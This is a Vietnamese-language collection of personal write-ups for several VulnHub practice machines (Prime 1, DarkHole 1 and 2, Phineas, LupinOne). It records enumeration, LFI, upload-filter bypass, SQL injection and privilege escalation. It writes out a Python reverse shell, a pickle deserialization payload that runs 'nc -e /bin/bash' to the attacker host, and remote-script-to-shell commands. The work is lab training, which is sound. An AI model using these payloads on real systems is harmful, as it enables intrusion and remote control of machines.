# Labs Pentest & Assessment
## Lab 10: [Prime 1](https://www.vulnhub.com/entry/prime-1,358/)


dùng dirsearch ta thấy wp login


đi fuzz mà cũng sập :( (k phải lab này bị gì ấy, 2 lần xoá đi tải lại để làm tiếp)

```
gobuster dir -u http://192.168.109.134 -w /usr/share/wordlists/dirb/common.txt -x php,txt
```
tìm được secret.txt, có gợi ý file location.txt


fuzz param bằng tool nhận được param file
```
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://192.168.109.134/index.php?FUZZ
```

có hint sử dụng param `secrettier360` ở page khác

LFI đồ kiếm được passwd wp:
`follow_the_ippsec`



vào Theme Editor ở secret.php mới cho phép sửa và lưu file nên paste revershell vô và truy cập `http://192.168.109.134/wordpress/wp-content/themes/twentynineteen/secret.php`


xong flag user

sang victor nhưng k có quyền

tải linpeas.sh về local (thực ra tải vào /tmp của server victim là ok)
```
#local
python3 -m http.server 8081
#victim
cd /tmp
wget 192.168.109.128:8081/linpeas.sh
chmod +x linpeas.sh
```


## Lab 9: [DarkHole1](https://www.vulnhub.com/entry/darkhole-1,724/)



Trong lúc xem xét mình cắm dirsearch luôn

mò vào config coi tưởng tìm được database thì ngon nhưng mà vì php là ngôn ngữ serverside nên bạn sẽ chỉ nhận được đầu ra HTML. https://security.stackexchange.com/questions/98425/is-there-a-way-to-download-a-php-file-without-it-being-executed

quay lại register rồi login vô xem

idor không được

ở phần change password ta thấy id được đính kèm với password đã thay đổi

thay password=1&id=1 rồi đăng nhập với admin thử xem (sở dĩ biết có tài khoản admin vì vừa reg acc nó thông báo có acc admin rồi)


Upload backdoor.php lên thì thấy không được phép

Bypass bằng nullbyte thêm %00.png vào cuối file php


yeah upload được nhưng không excute được

wa ga\`, đáng ra phải thêm %00.php vào cuối file png thì mới excute file php được chứ


moá vẫn k được

upload được pHp nhưng cũng k excute được

sau khi upload 7749 file type php extensions thì được `shell1.phtml` đã excute được


reverse shell thôi
```shell
?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
```

darkhole này chắc là phần lên root rồi nên để sau sang john đã

phân quyền đúng kiểu CTF, nhìn phát biết phải ssh

ơ phân quyền vậy mà không cho đọc private key à ...

có vẻ phải tìm cách excute để leo thang lên `john` vì toto là chương trình run command `id` với quyền của `john`

ý tưởng rất đơn giản chỉ cần ghi `/bin/bash` vô file id tự tạo ở tmp và chèn thư mục tmp lên đầu $PATH
```shell=
echo '/bin/bash' > /tmp/id; chmod +x /tmp/id; export PATH=/tmp:$PATH
```

Bú flag user

tiếp theo kiếm cách lên root nào
á à, cho run python3 với quyền root thì chết rồi

```shell=
echo 'import os;os.system("/bin/bash")' > file.py
sudo /usr/bin/python3 /home/john/file.py
```


## Lab 8: [DarkHole2](https://www.vulnhub.com/entry/darkhole-2,740/)



sử dụng dirsearch thấy không có register nên mình chuyển sang fuzz sqli


nhưng ngồi fuzz sqli bằng sqlmap thấy vô vọng quá, nên chuyển sang hướng khác

ta thấy rằng git folder public ai cũng có thể access, ta hoàn toàn có thể dump với tool git dumper https://github.com/arthaud/git-dumper
```shell=
git-dumper http://192.168.109.133/.git/ ~/web_lab_8
```
Đọc source ta thấy email và pass đều được filter với `htmlspecialchars` và `mysqli_real_escape_string` còn query thì vẫn nối chuỗi nên khả năng vẫn sqli được nhưng đó là trong tương lai, còn mình hiện tại lục tung gg không thấy POC :<

Kiểm tra git log thấy commit `I added login.php file with default credentials`


tìm được `email: lush@admin.com` và `password: 321` đăng nhập vô

đọc source dashboard.php thấy bị obfuscated

Deobfuscated http://www.php-decoder.site/index-en.php ta thấy bị sqli tại biến $mobile

vì state là update nên mình không biết khai thác và đi đọc wu nhưng mình không hiểu tại sao lại sqli vào param `id` được ? Thậm chí mình đã kéo cả source code về deploy nhưng trên máy mình và server hoàn toàn khác nhau do vậy mình đoán server code khác rồi, k phải code dump từ git, git này nó vứt lên chưa phải là update toàn bộ rồi.

ok, thống nhất là sqli vào id nhé :'<
```
sqlmap -u http://192.168.109.133/dashboard.php?id=1 --dbms Mysql --cookie='PHPSESSID=7lhg898u4unp39e6etfk11qc39' --dump
```

Tìm được `user: jehad` và `pass: fool`

có vẻ phải sang nhà khác mới có flag rồi

xong losy

lama không có gì

định tìm cách lên root nhưng bị chặn

sử dụng linpeas
```
# From github
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

Tìm được POC https://github.com/berdav/CVE-2021-4034
nhưng không make đc

vì vậy mình make trên local rồi transfer qua server


busssss

## Lab 7: [PHINEAS: 1](https://www.vulnhub.com/entry/phineas-1,674/)


```
ffuf -c -ic -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u 'http://192.168.109.136/FUZZ' -fc 403 -e .txt,.html,.php
```


tiếp tục fuzz
```
ffuf -c -ic -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u 'http://192.168.109.136/structure/FUZZ' -fc 403 -e .txt,.html,.php
```



thêm index.php vừa scan được vô `structure/index.php/fuel/` ta được trang login fuel

google về fuel cms ta tìm được https://github.com/padsalatushal/CVE-2018-16763

reverse shell

đọc thông tin database ta nhận được `user: anna` và `password: H993hfkNNid5kk`
```
cat /var/www/html/structure/fuel/application/config/database.php
```

ssh vô

kiếm được flag user.txt

dùng linpeas (má thấy CVE này hơi nhiều rồi nha)

mọi chuyện tưởng đơn giản nhưng lại không có gcc để build

mặc dù có build trên local rồi transfer qua nhưng k được, ca này khó rồi

thấy thư mục web, đọc source có thể thấy bị dính lỗi insecure deserialize

```shell=
wget https://gist.githubusercontent.com/kriss-u/085569495cb930e398759c0cbf45e3b7/raw/15fe119ed307ac69673bcaadd9fab84c32a85a00/pickle-payload-py3.py
python3 pickle-payload-py3.py "nc 192.168.109.128 9999 -e /bin/bash"
curl -d "awesome=gANjcG9zaXgKc3lzdGVtCnEAWCQAAABuYyAxOTIuMTY4LjEwOS4xMjggOTk5OSAtZSAvYmluL2Jhc2hxAYVxAlJxAy4=" -X POST http://127.0.0.1:5000/heaven
```

## Lab 6: [LUPINONE](https://www.vulnhub.com/entry/empire-lupinone,750/)






```
ffuf -u http://192.168.109.135/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt
```


```
ffuf -c -ic -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u 'http://192.168.109.135/~secret/.FUZZ' -fc 403 -e .txt,.html
```


đem lên cyberchef thấy đó là


crack sshkey được pass `P@55w0rd!`
```shell=
wget https://raw.githubusercontent.com/openwall/john/bleeding-jumbo/run/ssh2john.py
python3 ssh2john.py privatekey > passwd
wget https://raw.githubusercontent.com/drtychai/wordlists/master/fasttrack.txt
john --wordlist=fasttrack.txt passwd
```

ssh vô với passphrase vừa tìm được

cat user.txt

tiếp theo leo lên root, dùng linpeas để xác định vector có thể leo thang
```
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

Tìm poc của CVE-2022-0847 https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
sau đó mình nano rồi copy paste 3 file vô thôi hơi thủ công =))

